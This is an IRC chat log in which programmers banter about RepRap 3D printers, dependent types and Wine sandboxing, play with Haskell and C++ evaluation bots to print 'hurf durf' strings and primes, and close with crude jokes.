00:00:29 <ehird> pikhq: http://makerbot.com/ any idea how this compares to the reprap?
00:00:32 <ehird> nooga: it is rapid.
00:00:43 <Warrigal> If you want to be able to make magnets, use a separate RepRap magnet-making module.
00:00:52 <pikhq> ehird: It's got the same capabilities, but it is easier to put together.
00:01:04 <pikhq> The MakerBot guys are also involved in RepRap.
00:01:16 <pikhq> IIRC, it uses the same driving circuitry.
00:01:32 <pikhq> nooga: All rapid prototypers are like that.
00:01:39 <ehird> reprap needs a special module to do circular stuff
00:01:43 <pikhq> Most of them are a *bit* faster, but not by a whole lot.
00:01:45 <ehird> as opposed to lots of rectangle
00:02:31 <nooga> things that come out from reprap look like they were build from glued, plastic string AFAIR
00:02:44 <ehird> nooga: give 'em a paintjob
00:02:50 <pikhq> Same with all rapid prototypers.
00:02:51 <ehird> nooga: most 3d printers aren't any better
00:03:11 <pikhq> Some of them have smaller bits of string.
00:03:11 <ehird> http://upload.wikimedia.org/wikipedia/commons/6/60/3D_scanning_and_printing.jpg ← reprap isn't quite this good though
00:03:50 <pikhq> ehird: RepRap also costs orders of magnitude less.
00:04:02 <pikhq> It's like comparing an 8086 to an IBM mainframe. ;)
00:04:03 <nooga> i saw a rapid prototyper in tv that built objects by shooting laser beams into a bucket of some powder
00:04:16 <pikhq> nooga: Those are significantly more expensive.
00:04:24 <pikhq> Obviously, they produce better results.
00:04:49 <ehird> [[30 November 2008, First "in the wild" replication occurring. Replication completed by Wade Bortz, the first user outside of the developers team to produce a complete set for another person. Sale is completed in person after meeting over internet.]]
00:04:54 <ehird> wade bortz = jackass
00:05:04 <ehird> charging for pressing "print" and sticking a few things together
00:05:17 <ehird> 20 April, 2009 - Announcement of first electronic circuit boards produced automatically with a RepRap. Using an automated control system and a swappable head system capable of printing both plastic and conductive solder. Part is later integrated into the RepRap that made it.[5]
00:06:38 <ehird> pikhq: with a 3d scanner and a reprap 2 everything would rock
00:06:48 <ehird> print out something, makeshift stuff with straws
00:07:10 <pikhq> ehird: Yeah... Viva le revolucion.
00:08:06 <Warrigal> What we need is a milling machine.
00:08:30 * GregorR mills around ... mechanically!
00:08:43 <pikhq> Warrigal: There's someone working on RepRap's milling.
00:09:09 <ehird> http://4.bp.blogspot.com/_sKFX5zDfq4o/Sesjm2mXP2I/AAAAAAAAAZE/_sGIdeO_jsM/s1600-h/just-finished.jpg ← reprap circuit
00:09:15 <ehird> http://4.bp.blogspot.com/_sKFX5zDfq4o/Sesjs9Sv3-I/AAAAAAAAAZM/IqZlMRskt5c/s1600-h/components.jpg
00:09:28 <ehird> "Finally, here it is fitted to the RepRap machine that made it and working: "
00:09:36 <ehird> http://www.youtube.com/watch?v=9miG2U3PR8w&eurl=http%3A%2F%2Fblog%2Ereprap%2Eorg%2F2009%5F04%5F01%5Farchive%2Ehtml&feature=player_embedded
00:09:42 -!- BeholdMyGlory has quit (Remote closed the connection).
00:12:28 <Warrigal> Mill parts out of plastic, expose the plastic to chemicals or high-energy light to harden it, use the resulting plastic to mill more stuff out of plastic.
00:13:45 <ehird> pikhq: Dependent types will break your mind. Normally, types depend on types and values depend on values. With typeclasses, values depend on types. With dependent types? Types depend on values.
00:13:56 <ehird> You can have an argument that must be above 0, and the caller has to prove that.
00:14:03 <ehird> You can have a type-safe printf that does:
00:14:09 <ehird> printf :: (fmt :: String) -> CalculatePrintfType fmt
00:14:30 <ehird> and CalculatePrintfType gets the string -- at compile-time, so you have to prove things about it if it's not literal -- and returns the right type.
00:14:35 <ehird> Of course, typing then becomes TC.
00:15:51 -!- FireFly has quit ("Later").
00:20:03 <pikhq> Making Haskell impossible to implement. :P
00:20:13 <ehird> pikhq: No, not impossible.
00:20:18 <ehird> Also, Haskell doesn't have them.
00:20:26 <ehird> It's perfectly possible; your type-checking just might not halt.
00:22:38 <Warrigal> I vote for type-checking that uses heuristics, always halts, and never gives a false positive for type errors.
00:22:52 <Warrigal> You might get run-time type errors, of course.
00:23:27 <Warrigal> Also, someone find me something mind-breaking plz.
00:24:34 <ehird> > cycle "holy shit mj cried "
00:24:36 <lambdabot> "holy shit mj cried holy shit mj cried holy shit mj cried holy shit mj crie...
00:24:53 <Warrigal> > take 10 cycle "HOLY SHIT MJ DIED"
00:24:55 <lambdabot> Couldn't match expected type `[a]'
00:25:01 <Warrigal> > take 10 (cycle "HOLY SHIT MJ DIED")
00:25:26 <Warrigal> But right parentheses at the end of expressions suck. Therefore,
00:25:31 <Warrigal> > take 10 $ cycle "HOLY SHIT MJ DIED"
00:25:44 <CESSMASTER> >take 10 $ cycle ["HOLY SHIT MJ DIED"]
00:26:30 <Warrigal> CESSMASTER: you keep not including a space after the >.
00:26:48 <lambdabot> ["HOLY SHIT MJ DIED","HOLY SHIT MJ DIED","HOLY SHIT MJ DIED","HOLY SHIT MJ ...
00:26:56 -!- nooga has quit (Remote closed the connection).
00:26:58 <lambdabot> ["HOLY SHIT MJ DIED","HOLY SHIT MJ DIED","HOLY SHIT MJ DIED","HOLY SHIT MJ ...
00:27:20 <ehird> > cycle "*cough* "
00:27:21 <lambdabot> "*cough* *cough* *cough* *cough* *cough* *cough* *cough* *cough* *cough* *c...
00:27:27 <ehird> > text $ cycle "*cough* "
00:27:33 <lambdabot> mueval-core: Prelude.read: no parse
00:27:33 <ehird> > var $ cycle "*cough* "
00:27:35 <lambdabot> It could refer to either `Data.Number.Symbolic....
00:27:35 <ehird> > var $ cycle "*cough* "
00:27:37 <lambdabot> It could refer to either `Data.Number.Symbolic....
00:27:41 <ehird> > (var $ cycle "*cough* ") :: Expr
00:27:43 <lambdabot> It could refer to either `Data.Number.Symbolic....
00:27:45 <CESSMASTER> >cycle "i know a song that gets on everybody's nerves, and this is how it goes: "
00:27:56 <CESSMASTER> > cycle "i know a song that gets on everybody's nerves, and this is how it goes: "
00:27:57 <lambdabot> "i know a song that gets on everybody's nerves, and this is how it goes: i ...
00:28:00 <lambdabot> Distribution.PackageDescription Var :: c -> Condition c
00:28:00 <lambdabot> Language.Haskell.TH VarE :: Name -> Exp
00:28:00 <lambdabot> Language.Haskell.TH.Syntax VarE :: Name -> Exp
00:28:01 <ehird> > (var :: String -> Expr) $ cycle "*cough* "
00:28:02 <lambdabot> It could refer to either `Data.Number.Symbolic....
00:28:39 <ehird> > var "fuck you i want the simplereflect one" :: Expr
00:28:41 <lambdabot> It could refer to either `Data.Number.Symbolic....
00:28:44 <oerjan> ehird: it's a lexical import error, not a type error
00:29:04 <oerjan> you cannot fix it without the module name
00:29:27 <ehird> > SimpleReflect.var
00:29:29 <lambdabot> Overlapping instances for GHC.Show.Show
00:29:37 <ehird> > SimpleReflect.var (cycle "*cough* ") :: Expr
00:29:39 <lambdabot> *cough* *cough* *cough* *cough* *cough* *cough* *cough* *cough* *cough* *co...
00:30:10 <oerjan> > SimpleReflect.var (cycle "*cough* ")
00:30:11 <lambdabot> *cough* *cough* *cough* *cough* *cough* *cough* *cough* *cough* *cough* *co...
00:30:21 <oerjan> > fun (cycle "*cough* ") :: Expr
00:30:23 <lambdabot> *cough* *cough* *cough* *cough* *cough* *cough* *cough* *cough* *cough* *co...
00:30:32 <ehird> > fun (cycle "*cough* ")
00:30:51 <oerjan> fun is specifically overloaded, it is also used for functions
00:31:07 <oerjan> while var is just Expr
00:32:47 <oerjan> @@ @echo @run cycle "*cough* "
00:32:48 <lambdabot> echo; msg:IrcMessage {msgServer = "freenode", msgLBName = "lambdabot", msgPrefix = "oerjan!n=oerjan@hagbart.nvg.ntnu.no", msgCommand = "PRIVMSG", msgParams = ["#esoteric",":@@ @echo @run cycle \"*
00:32:48 <lambdabot> cough* \""]} rest:" \"*cough* *cough* *cough* *cough* *cough* *cough* *cough* *cough* *cough* *c..."
00:33:01 <lambdabot> @ executes plugin invocations in its arguments, parentheses can be used.
00:33:01 <lambdabot> The commands are right associative.
00:33:01 <lambdabot> is the same as: @ (@pl (@undo code))
00:33:28 <lambdabot> help <command>. Ask for help for <command>. Try 'list' for all commands
00:33:49 <oerjan> the initial @ is not allowed for help
00:34:10 <lambdabot> echo <msg>. echo irc protocol string
00:34:23 <lambdabot> dummy provides: eval choose id read show dummy bug get-shapr faq paste learn map shootout botsnack thanks thx thank you ping wiki oldwiki docs source fptools hackage
00:35:01 <oerjan> @@ @read @run cycle "*cough* "
00:35:02 <lambdabot> Plugin `compose' failed with: Prelude.read: no parse
00:35:14 <oerjan> oh right it doesn't end
00:36:17 <oerjan> @faq Can Haskell bring about world peace?
00:36:18 <lambdabot> The answer is: Yes! Haskell can do that.
00:38:42 <GregorR> @faq Does @faq use an actual FAQ?
00:38:43 <lambdabot> The answer is: Yes! Haskell can do that.
00:41:08 * pikhq discovers quickCheck.
00:41:21 <ehird> pikhq: That's what @check is
00:41:40 <pikhq> > let 2+2 = 5 in quickCheck (\_ -> 2+2 == 5)
00:42:07 <ehird> @check let 2+2 = 5 in (\_ -> 2+2 == 5)
00:42:23 <ehird> @check let 2+2 = 5 in (\_ -> 1+1 == 2)
00:42:24 <lambdabot> "* Exception: <interactive>:1:176-182: Non-exhaustive patterns in function +
00:42:32 <ehird> pikhq: ... as we can see, that shadows the real +.
00:42:33 <pikhq> Yay. I have proven that 2+2 is 5 when you define it to be 5.
00:42:46 <pikhq> ehird: Yes, I know that that'
00:42:47 <pikhq> s what it's doing.
00:43:12 <oerjan> @check let 42 = 6*9 in (\_ -> 42 == 6*9)
00:43:14 <lambdabot> "Falsifiable, after 0 tests:\n()\n"
00:44:04 <pikhq> @check let 6*9 = 42 in (\_ -> 42 == 6*9)
00:44:39 <pikhq> What it's doing is creating a new function (*) that shadows the old one, and that new function is defined using pattern matching.
00:44:56 <pikhq> Thus why "let True = False" doesn't work.
00:45:07 <ehird> It works, just pathologically.
00:45:13 <ehird> pikhq: "let Just a = Just 2" sets a to 2.
00:45:17 <Warrigal> That ought to be an error, not because the existing rules imply it should be an error, but because there's no reason to use an equation whose LHS contains no variables.
00:45:19 <ehird> It's just pattern matching there.
00:45:26 <ehird> pikhq: So "let True = False" attempts to match False with True and fails.
00:45:32 <ehird> Warrigal: it's just like 'f True = ...'
00:45:37 <ehird> > let True = False in ()
00:45:46 <ehird> > (\True -> ()) False
00:45:48 <lambdabot> * Exception: <interactive>:1:130-140: Non-exhaustive patterns in lambda
00:45:51 <ehird> Well, okay, not quite.
00:46:03 <Warrigal> let True = False doesn't attempt to match False with True until you evaluate one of the variables in the LHS, True.
00:46:03 <ehird> tbh I'd prefer the latter behaviour
00:46:10 <ehird> but it's irreleavnt
00:49:10 <pikhq> > let x+_ = x in (+) <$> [0..10] <*> [10..20]
00:49:11 <lambdabot> [0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,...
00:49:40 <Gracenotes> hmmm. If a program I install on wine has a virus, it probably shouldn't affect everything else, I'm guessing? </paranoid>
00:49:54 <ehird> Gracenotes: Well, it has access to your linux drives...
00:49:58 <ehird> As Z:\ or whatever.
00:50:12 <pikhq> ehird: Not necessarily. He could have it configured to only expose ~/.wine/drive_c.
00:50:19 <ehird> pikhq: Yes, but he wouldn't be asking if he did that.
00:50:39 <Gracenotes> as you may infer, I am not excessively knowledgeable about wine
00:50:52 <ehird> If you want to be safe, boot up a VM.
00:51:01 <ehird> Gracenotes: or run it as "nobody"
00:51:59 <oerjan> Gracenotes: what about liquor?
00:52:43 <pikhq> ehird: On GNU Hurd, that's easy.
00:53:11 <pikhq> ... Granted, that's because GNU Hurd does not have "login", but instead gives you a login shell running as UID {}.
00:53:15 <ehird> On GNU Hurd, everything is especially easy as long as it involves bashing your head against the wall.
00:53:21 <ehird> (Everything involves this in Hurd.)
00:53:54 <pikhq> (in GNU Hurd, you may be logged in as 0 or more users.)
00:54:29 <Gracenotes> (in GNU Hurd, processes have been replaced with frolicking unicorns)
00:54:54 <pikhq> No, no, they've got processes.
00:54:58 <ehird> (in GNU Hurd, my name is misspelled.)
00:55:18 <pikhq> ehird: Hird also has meaning.
00:55:23 <oerjan> > cycle . map intercalate "ur" $ ["hf","df",hd"]
00:55:25 <lambdabot> lexical error in string/character literal at end o...
00:55:55 <oerjan> > cycle . map intercalate "ur" $ ["hf","df","hd"]
00:55:55 <pikhq> Man, Haskell has some of the coolest function names.
00:55:57 <lambdabot> Couldn't match expected type `[a]'
00:56:01 <ehird> i should make BSD Elliutt
00:56:07 <ehird> pikhq: because join was taken :D
00:56:11 <Gracenotes> apparently there was a minicontroversy about it though
00:56:54 <oerjan> > cycle . map (intercalate "ur" . return) $ ["hf","df","hd"]
00:56:56 <lambdabot> ["hf","df","hd","hf","df","hd","hf","df","hd","hf","df","hd","hf","df","hd"...
00:57:51 <oerjan> > cycle . map (intercalate "ur" . map return) $ ["hf","df","hd"]
00:57:53 <lambdabot> ["hurf","durf","hurd","hurf","durf","hurd","hurf","durf","hurd","hurf","dur...
00:58:12 <ehird> > intercalate " " . cycle . map (intercalate "ur" . map return) $ ["hf","df","hd"]
00:58:14 <lambdabot> "hurf durf hurd hurf durf hurd hurf durf hurd hurf durf hurd hurf durf hurd...
00:58:22 <ehird> > intercalate " " . cycle . map (intercalate "ur" . map return) $ ["hf","df","hd!"]
00:58:24 <lambdabot> "hurf durf hurdur! hurf durf hurdur! hurf durf hurdur! hurf durf hurdur! hu...
01:00:12 <pikhq> $pl intercalate " " . cycle . map (intercalate "ur" . map return) $ {"hf","df","hd!"]
01:00:37 <oerjan> that's already point-free anyhow
01:00:55 <pikhq> And not semantically correct, anyways.
01:01:01 <pikhq> $pl intercalate " " . cycle . map (intercalate "ur" . map return) ["hf","df","hd!"]
01:01:24 <pikhq> Syntatically, I meant.
01:01:28 <ehird> @pl intercalate " " . cycle . map (intercalate "ur" . map return) ["hf","df","hd!"]
01:01:29 <lambdabot> intercalate " " . cycle . map (intercalate "ur" . map return) ["hf", "df", "hd!"]
01:01:58 <GregorR> !c int i; for (i = 0; i < 100; i++) { printf("%curf ", (rand() % 2) ? 'h' : 'd'); }
01:02:00 <EgoBot> hurf durf hurf hurf hurf hurf durf durf hurf hurf durf hurf durf hurf hurf durf durf durf durf durf hurf durf hurf hurf durf durf durf hurf hurf hurf hurf durf durf durf hurf hurf hurf durf hurf durf hurf hurf hurf hurf durf hurf durf durf hurf durf hurf durf hurf durf durf hurf durf durf durf hurf hurf hurf durf hurf durf hurf durf hurf hurf hurf durf hurf durf hurf durf hurf durf durf hurf durf hurf durf durf durf durf durf hurf hurf durf hurf durf
01:02:51 <ehird> Gracenotes: NOT HASKELL. GET THE FUCK OUT.
01:03:29 <ehird> !haskell do n <- randomRIO (0,1); print n
01:03:31 <pikhq> At least it's not C++.
01:03:38 <ehird> `haskell do n <- randomRIO (0,1); print n
01:03:42 <pikhq> (for which there are no complete implementations)
01:03:45 <ehird> GregorR: Make it work, bitchnizzle.
01:03:49 <ehird> pikhq: yes there is
01:04:00 <HackEgo> /bin/bash: line 1: ghc: command not found
01:04:14 <pikhq> All extant C++ implementations limit the amount of recursions that a C++ template may have.
01:04:18 <pikhq> Most of them to 17.
01:04:31 <ehird> pikhq: Comeau C++ implements the whole of C++, iirc.
01:04:39 <GregorR> !cxx for (int i = 0; i < 100; i++) { cout << ((rand() % 2) ? 'h' : 'd') << "urf "; }
01:04:43 <EgoBot> hurf durf hurf hurf hurf hurf durf durf hurf hurf durf hurf durf hurf hurf durf durf durf durf durf hurf durf hurf hurf durf durf durf hurf hurf hurf hurf durf durf durf hurf hurf hurf durf hurf durf hurf hurf hurf hurf durf hurf durf durf hurf durf hurf durf hurf durf durf hurf durf durf durf hurf hurf hurf durf hurf durf hurf durf hurf hurf hurf durf hurf durf hurf durf hurf durf durf hurf durf hurf durf durf durf durf durf hurf hurf durf hurf durf
01:04:57 <oerjan> !haskell import System.Random; main = do g <- newStdGen; putStr . take 500 . unwords . map (["hurf","durf","hurd"]!!) $ randomRs (0,2) g
01:05:00 <EgoBot> durf hurf hurd hurd hurf hurf hurf hurd hurd hurf durf durf hurd durf hurd durf hurd durf durf hurf hurf hurd hurd durf durf hurf hurf hurf hurf hurf durf durf hurd durf durf hurf hurf hurf hurd hurf hurf durf hurd durf hurf durf hurd hurf durf hurd durf hurd hurd durf durf hurd hurf hurd hurd durf durf durf hurd hurf hurd hurf hurd durf hurf hurd hurf durf durf hurf hurd hurd hurd hurd durf hurf durf hurf hurd hurf hurf durf durf hurd hurd durf durf
01:05:20 <ehird> That was, like, my job.
01:05:41 <ehird> oerjan: btw, your code is TOO VERBOSE.
01:05:42 <pikhq> ehird: Apparently it does.
01:05:47 <GregorR> !cxx for (int i = 0; i < 100; i++) { cout << ((rand() % 1) ? 'h' : 't') << "ur" << ((rand() % 1) ? 'f' : 'd') << " "; }
01:05:49 <EgoBot> turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd turd
01:06:04 <oerjan> ehird: randomRIO cannot give an infinite list afair
01:06:15 <AnMaster> <pikhq> Most of them to 17. <-- why 17
01:06:24 <ehird> oerjan: a sequence cycle thingy.
01:06:29 <pikhq> AnMaster: C++ standard designers said so.
01:06:46 <AnMaster> pikhq, I mean it is uneven in all bases right?
01:07:28 <Gracenotes> hm. I'm trying to get @pl to accept various famous quotes, but that darn punctuation..
01:07:29 <AnMaster> 20 would make sense, so would 16
01:08:04 <Gracenotes> @pl She should have died hereafter: There would have been a time for such a word. To-morrow and to-morrow and to-morrow
01:08:05 <lambdabot> She should have died hereafter : There would have been a time for such a word . To - morrow and to - morrow and to - morrow
01:08:05 <pikhq> Turns something into pointless form s/pointless/point-free/
01:08:27 <Gracenotes> @pl \a -> She should have died hereafter: There would have been a time for such a word. To-morrow and to-morrow and to-morrow
01:08:27 <lambdabot> (She should have died hereafter :) . subtract morrow . subtract (morrow and to) . subtract (morrow and to) . (. To) . flip (join (flip (flip (flip (There would have been) time) for) such)) word
01:08:59 <pikhq> Need a good example.
01:09:10 <oerjan> !haskell import System.Random; main = sequence_ . replicate 200 $ fmap (putStr . (["hurf","durf","hurd"]!!)) randomRIO (0,2)
01:09:49 <AnMaster> pikhq, I don't know haskell yet
01:10:03 <oerjan> !haskell import System.Random; main = sequence_ . replicate 200 $ putStr . (["hurf","durf","hurd"]!!) =<< randomRIO (0,2)
01:10:06 <EgoBot> hurfdurfdurfdurfhurddurfhurfhurfdurfhurddurfdurfhurfhurfdurfdurfhurfhurdhurddurfhurfdurfhurfhurdhurddurfhurfhurdhurfhurddurfhurfhurdhurfhurfhurfhurfhurfhurdhurddurfhurdhurfhurfdurfhurddurfhurdhurdhurdhurdhurddurfdurfdurfhurdhurdhurdhurdhurdhurfdurfhurfhurdhurfhurfdurfhurdhurfhurfhurddurfdurfdurfhurfhurdhurfdurfhurfhurfhurfhurfdurfdurfhurfhurfhurddurfhurfhurfdurfhurfhurfhurfdurfdurfhurfhurfdurfdurfdurfdurfhurfhurddurfhurfhurddurfhurdhurfdurfhurdhurfhur
01:10:12 <pikhq> Point-free form is a concept common to all functional languages.
01:10:30 <Gracenotes> pikhq: and concatenative ones, like stack-based
01:10:51 <pikhq> Gracenotes: Ah, concatenative languages.
01:10:57 <AnMaster> pikhq, I'm not damiliar with the concept
01:10:59 <pikhq> That type of language so many ignore.
01:11:15 <lambdabot> [2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2...
01:11:38 <lambdabot> [2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,...
01:11:48 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
01:11:57 <Warrigal> @unpl nubBy (((/=1).).gcd) [2..]
01:11:57 <lambdabot> nubBy (\ e h -> (gcd e h) /= 1) [2 ..]
01:12:12 <oerjan> !haskell import System.Random; main = putStr . take 500 . unwords . map (["hurf","durf","hurd"]!!) . randomRs (0,2) =<< newStdGen
01:12:12 <Warrigal> The unpl'd version is much more readable.
01:12:14 <EgoBot> hurd hurf durf durf hurf hurf hurd hurd hurd hurf hurf hurd hurf hurf hurf hurd hurf hurf hurd hurd hurd hurd hurd durf hurf durf hurf durf hurf durf hurd durf durf durf hurf hurf hurd hurf hurd hurd durf hurf hurf durf hurd hurf hurd hurd hurd hurd hurf hurd hurd hurf hurd hurf durf hurf hurf hurf hurf hurd hurd hurf durf hurd hurd hurd durf hurf hurd hurf durf hurd durf hurd hurf durf hurd durf durf hurf hurf hurd hurf hurf hurd hurd durf hurd hurd
01:12:19 <pikhq> AnMaster: No arguments! Only curry!
01:12:21 <ehird> Warrigal: no it's not
01:12:34 -!- nooga has joined.
01:12:58 <Warrigal> @. pl unpl nubBy (((/=1).).gcd) [2..]
01:12:59 <lambdabot> nubBy (flip flip 1 . ((/=) .) . gcd) [2..]
01:13:18 -!- Dewio has joined.
01:13:44 <lambdabot> forall a b c a1 c1. (a1 -> ((a -> b -> c) -> b -> a -> c) -> c1) -> a1 -> c1
01:13:52 <Gracenotes> flip flip 1 isn't even, like, a good idea
01:14:27 <lambdabot> forall a b c. b -> (a -> b -> c) -> a -> c
01:14:53 <Warrigal> Yeah, remember that Haskell doesn't behave like natural language unless you stuff it with $.
01:15:05 <lambdabot> forall a b c a1 c1. (a1 -> ((a -> b -> c) -> b -> a -> c) -> c1) -> a1 -> c1
01:15:59 <Warrigal> > nubBy ((.) (flip flip 1) ((.) ((.) (/=)) gcd)) [2..]
01:16:01 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
01:16:05 <ehird> @type flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip
01:16:07 <lambdabot> forall a b c a1 c1. (a1 -> ((a -> b -> c) -> b -> a -> c) -> c1) -> a1 -> c1
01:16:12 <ehird> @unpl flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip flip
01:16:13 <lambdabot> (\ cg cj -> cg cj (\ g h i -> g i h))
01:16:21 <ehird> @unpl (a1 -> ((a -> b -> c) -> b -> a -> c) -> c1) -> a1 -> c1
01:16:25 <ehird> @djinn (a1 -> ((a -> b -> c) -> b -> a -> c) -> c1) -> a1 -> c1
01:16:26 <Warrigal> > nubBy ((.) (flip flip 1) $ (.) ((.) (/=)) gcd) [2..]
01:16:28 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
01:16:33 <Warrigal> That, on the other hand, is readable.
01:17:16 <Warrigal> Of course, if you want to use as few parentheses as possible...
01:17:39 <Warrigal> \a d e -> a d /= e, how about.
01:18:07 -!- fungebob has joined.
01:18:11 <Warrigal> > flip nubBy [2..] $ flip flip 1 . (\a d e -> a d /= e) . gcd
01:18:13 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
01:18:44 <Warrigal> Someone find me a reverse compose operator so I can eliminate the remaining parentheses.
01:19:20 <lambdabot> Control.Arrow (>>>) :: Arrow a => a b c -> a c d -> a b d
01:20:21 <Warrigal> Hmm, it's pretty weakly-binding.
01:20:24 <lambdabot> The operator `Control.Category.>>>' [infixr 1] of a section
01:21:15 <lambdabot> No instance for (GHC.Num.Num (cat a b))
01:21:16 <lambdabot> arising from the literal `0' at ...
01:21:32 <Gracenotes> you just can't make it a section with $ around
01:21:52 <oerjan> > nubBy (((1<).).gcd) [2..]
01:21:53 <Warrigal> Lemme think. a . b . c is a . b . c; a . b >>> c is c . a . b.; a >>> b . c is b . c . a; a >>> b >>> c is c . b . a.
01:21:54 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
01:22:16 <oerjan> Gracenotes: that (0$0 thing is just a trick to make lambdabot give the fixity
01:22:55 <oerjan> @unpl nubBy (((1<).).gcd) [2..]
01:22:55 <lambdabot> nubBy (\ e h -> 1 < (gcd e h)) [2 ..]
01:23:01 <Warrigal> > flip nubBy [2..] $ gcd >>> flip flip 1 . \a d e -> a d /= e
01:23:03 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
01:23:11 <Warrigal> Behold, the prime number generator with no parentheses.
01:23:24 <oerjan> @pl nubBy (\ e h -> 1 < (gcd e h)) [2 ..]
01:23:47 <Gracenotes> > flip nubBy [2..] $ gcd >>> flip flip 1 >>> \a d e -> a d /= e
01:23:49 <lambdabot> The lambda expression `\ a d e -> a d GHC.Classes./= e'
01:24:05 <Warrigal> lambdabot: oi, quit giving us user-friendly error messages.
01:24:21 <Warrigal> Gracenotes: what do you expect that to do?
01:24:29 <Gracenotes> > flip nubBy [2..] $ gcd >>> flip flip 1 <<< \a d e -> a d /= e
01:24:31 <lambdabot> [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101...
01:25:14 <lambdabot> No instance for (GHC.Show.Show (cat a c))
01:25:20 -!- Dewi has quit (Read error: 101 (Network is unreachable)).
01:25:20 <ehird> > (f <<< g) x :: Expr
01:25:58 <Warrigal> (Diaeresis, not umlaut. If it occurs over an o, it's a diaeresis. If it occurs over an a, it's an umlaut. But *this* one's a diaeresis.)
01:26:57 <oerjan> Warrigal: ä ö ü all are completely fine german umlauts
01:27:46 <nooga> yes, because you can't write FUHRER without Ü
01:28:10 <Gracenotes> my surname had an umlaut before my ancestors came over to America
01:29:43 <GregorR> My surname had an umlaut. Richärds.
01:31:27 <GregorR> Mine had a glottal stop and a click.
01:31:37 <GregorR> My surname had an umlaut. Ric'här!s.
01:31:45 <Gracenotes> GregorR: sounds like steps to open a safe
01:32:02 <GregorR> ^^^ Note the laziness in scrolling up through my history and not even removing the rest of the line :P
01:32:07 <oerjan> GregorR: i think your parents were just trying to explain away your genetic speech errors, GregorR
01:32:07 <Gracenotes> this was the channel that carried on with the long s's and thorns, right? :)
01:32:45 <nooga> þat may be þe truþ
01:33:00 <GregorR> Where'd my thorn script go? D-8
01:34:03 <oerjan> it rose up against you
01:36:44 <nooga> where are þe þorns ?
01:36:50 <pikhq> Warrigal: Over an o can also be a diaresis. I just, uh, can't think of an example right now.
01:37:05 <pikhq> Anyone else thing of oö?
01:37:23 <oerjan> pikhq: that's because you're such a neöphyte
01:37:39 <GregorR> Coöperate with the use of co-stuff.
01:38:00 <pikhq> I just suck at thinking of words on demand.
01:39:33 <oerjan> diäreses looks more poëtic
01:40:29 <pikhq> oërjan: I like making it into two syllables.
01:40:48 <oerjan> that would just be loönatic
01:40:49 <Gracenotes> hm. So I'll be taking syntax next spring semester, a linguistics course
01:40:57 <pikhq> Did yoü seë what I did there? :P
01:41:10 <Gracenotes> where I can hopefully learn about divers hierarchies of grammars
01:41:34 * Gracenotes tries pronouncing this conversation, gives up
01:41:47 * pikhq mäkës hïs vöwëls mëtäl.
01:42:54 <pikhq> ÏT̈ŸM̈ ̈p̈r̈ön̈öün̈c̈ı̈n̈g̈.̈
01:44:50 -!- ehird has quit (Remote closed the connection).
01:45:50 -!- ehird_ has changed nick to ehird.
02:05:07 -!- GreaseMonkey has joined.
02:17:47 -!- DarkPants has joined.
02:22:22 -!- GreaseMonkey has quit (Nick collision from services.).
02:22:31 -!- DarkPants has changed nick to GreaseMonkey.
02:31:44 <GregorR> EXCELLENT CONVERSATION STARTER:
02:31:50 <GregorR> 1) Get a raw egg, in shell.
02:31:59 <GregorR> 2) Go up to the person you're trying to start a conversation with.
02:32:22 <GregorR> 3) Get them to look at you by only holding up the egg and saying "Egg." This will get their attention, as it makes not a fekking bit of sense.
02:32:47 <GregorR> 4) SMASH the egg of your head, then breathe deeply and scream "EGG!" as the egg drips down your face.
02:33:05 <GregorR> 5) Just stare at the person until they're forced to say /something/.
02:33:16 <pikhq> I am a giant bucket!
02:37:21 <oerjan> GregorR: don't you mean EGGCELLENT?
02:41:19 <GregorR> OK, A) that's EGG-SALAD-NT
02:42:13 <GregorR> (It's important that it be "egg" because you can't let the person know that you're capable of speaking more than one syllable at a time)
02:43:33 * pikhq snaps a spoon in half
02:51:14 <GregorR> http://www.qwantz.com/index.php?comic=1049 lawlehcoptahs
02:53:36 -!- nooga has quit (Remote closed the connection).
02:53:55 -!- upyr[emacs] has quit (Remote closed the connection).
03:29:47 <augur> entropy decreasing in a closed system isnt impossible
03:29:56 <GregorR> The next comic covers that :P
03:30:59 <pikhq> Ah, Dinosaur Comics.
03:31:01 <pikhq> Such good writing.
03:31:44 <augur> i collect fetishes
03:32:02 <augur> only i just collect knowledge of them
03:32:07 <GregorR> I personally collect sexualities. I am of every known sexuality ... at once!
03:32:13 <augur> im always searching for new and crazy fetishes
03:32:18 <augur> i have never found a new and crazy one. :(
03:32:26 <GregorR> I don't know what that means :P
03:33:19 <GregorR> I have a suggestion, although it's more on the "crazy" side and something that's actually extremely disgusting, and only came to my mind because I was thinking "what's extremely disgusting?", and nothing to do with fetishes.
03:33:20 <pikhq> augur: I have one for you. Fulfilling someone else's fetish that you do not share.
03:34:21 <GregorR> Anyway, chrome allergy fetish. I need to find somebody with a chrome allergy fetish so we can have mad pus-y sex (note that "pus-y" is not the same as "pussy", but in fact means "covered in pus")
03:34:34 <GregorR> http://codu.org/chromates.jpg <-- find somebody who finds this HAWT
03:34:53 <GregorR> Excuse me, I need to go VOMIT REPEATEDLY.
